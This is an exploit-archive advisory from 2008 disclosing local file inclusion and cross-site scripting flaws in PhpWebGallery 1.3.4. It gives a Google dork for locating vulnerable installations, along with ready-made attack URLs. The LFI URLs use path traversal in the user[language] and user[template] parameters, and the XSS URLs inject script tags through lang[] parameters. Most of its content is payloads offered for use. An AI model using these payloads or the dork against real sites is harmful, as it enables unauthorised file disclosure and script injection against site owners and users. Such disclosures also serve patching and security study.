[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PhpWebGallery 1.3.4 (XSS/LFI) Multiple Vulnerabilities
# Published : 2008-09-11
# Author : IRCRASH
# Previous Title : WebPortal CMS <= 0.7.4 (fckeditor) Arbitrary File Upload Vulnerability
# Next Title : Autodealers CMS AutOnline (pageid) SQL Injection Vulnerability
----------------------------------------------------------------
Script : PhpWebGallery 1.3.4
Type : Multiple Vulnerabilities (XSS/LFI)
Rist : High
Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"
----------------------------------------------------------------
Download From : http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2
----------------------------------------------------------------
Discovered by : Khashayar Fereidani Or Dr.Crash
My Official Website : HTTP://FEREIDANI.IR
Team Website : Http://IRCRASH.COM
Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com
----------------------------------------------------------------
Local File Inclusion Vulnerabilities :
Lfi 1 : http://example/include/init.inc.php?user[language]=../../[LFI]
Lfi 2 : http://example/include/init.inc.php?user[template]=../../[LFI]
Lfi 3 : http://example/include/isadmin.inc.php?user[language]=../../[LFI]
-----------------------------------------------------------------
Cross Site Scripting Vulnerabilities :
Xss 1 : http://example/admin/include/isadmin.inc.php?lang[access_forbiden]=<script>alert(123);</script>
Xss 2 : http://example/admin/include/isadmin.inc.php?lang[ident_title]=<script>alert(123);</script>
----------------------------------------------------------------
Tnx : God
HTTP://IRCRASH.COM HTTP://FEREIDANI.IR
----------------------------------------------------------------
# www.Syue.com [2008-09-11]